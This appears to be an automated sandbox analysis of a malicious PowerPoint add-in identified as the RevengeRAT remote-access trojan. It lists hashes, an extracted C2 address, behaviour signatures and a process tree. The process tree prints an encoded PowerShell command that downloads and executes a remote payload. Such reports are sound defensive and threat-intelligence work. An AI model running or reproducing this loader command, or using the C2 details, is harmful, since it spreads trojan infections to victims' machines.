Analysis

  • max time kernel
    140s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-08-2024 15:15

General

  • Target

    7d0497c05e8d919fec5641334cbfd638b10e23674e04abbd71df4556917861d2.ppam

  • Size

    27KB

  • MD5

    c3313364d3a12339eb5f77410bb0a31a

  • SHA1

    a496f4f079f45ccef67715a51a2ad8185fee9ce3

  • SHA256

    7d0497c05e8d919fec5641334cbfd638b10e23674e04abbd71df4556917861d2

  • SHA512

    2337e7996a67a60c8ba679167a20bccb82a334eaf88d85e5dc7486125809acbebf6772ff1cf439a95cb01c0afa5d460b804fe3cc3174f76305b3cde946bddd2c

  • SSDEEP

    768:VPc2teKCz5J61JLDgJOabcssG8bKR8QJTkM5xRh:VO36XL9abcskE5x/

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\7d0497c05e8d919fec5641334cbfd638b10e23674e04abbd71df4556917861d2.ppam" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3328
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5024
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:220
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4188,i,8293235976513689021,7261015831736501466,262144 --variations-seed-version --mojo-platform-channel-handle=4628 /prefetch:8
    1⤵
      PID:3516

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t4zhbnus.rds.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/220-88-0x0000000005DC0000-0x0000000006364000-memory.dmp

      Filesize

      5.6MB

    • memory/220-85-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/3328-58-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-99-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

      Filesize

      64KB

    • memory/3328-4-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

      Filesize

      64KB

    • memory/3328-59-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-9-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-3-0x00007FF85620D000-0x00007FF85620E000-memory.dmp

      Filesize

      4KB

    • memory/3328-0-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

      Filesize

      64KB

    • memory/3328-11-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-10-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-12-0x00007FF815870000-0x00007FF815880000-memory.dmp

      Filesize

      64KB

    • memory/3328-13-0x00007FF815870000-0x00007FF815880000-memory.dmp

      Filesize

      64KB

    • memory/3328-15-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-20-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-43-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-44-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-56-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-57-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-1-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

      Filesize

      64KB

    • memory/3328-8-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-7-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-101-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-6-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-100-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

      Filesize

      64KB

    • memory/3328-98-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

      Filesize

      64KB

    • memory/3328-97-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

      Filesize

      64KB

    • memory/3328-91-0x00007FF856170000-0x00007FF856365000-memory.dmp

      Filesize

      2.0MB

    • memory/3328-5-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

      Filesize

      64KB

    • memory/3328-2-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

      Filesize

      64KB

    • memory/5024-74-0x000002856F2C0000-0x000002856F2D8000-memory.dmp

      Filesize

      96KB

    • memory/5024-73-0x000002856F2C0000-0x000002856F2D8000-memory.dmp

      Filesize

      96KB

    • memory/5024-76-0x000002856F2C0000-0x000002856F2D8000-memory.dmp

      Filesize

      96KB

    • memory/5024-84-0x000002856F2C0000-0x000002856F2D8000-memory.dmp

      Filesize

      96KB

    • memory/5024-78-0x000002856F2C0000-0x000002856F2D8000-memory.dmp

      Filesize

      96KB

    • memory/5024-82-0x000002856F2C0000-0x000002856F2D8000-memory.dmp

      Filesize

      96KB

    • memory/5024-80-0x000002856F2C0000-0x000002856F2D8000-memory.dmp

      Filesize

      96KB

    • memory/5024-71-0x000002856EF10000-0x000002856EF32000-memory.dmp

      Filesize

      136KB

    • memory/5024-72-0x000002856F2C0000-0x000002856F2E0000-memory.dmp

      Filesize

      128KB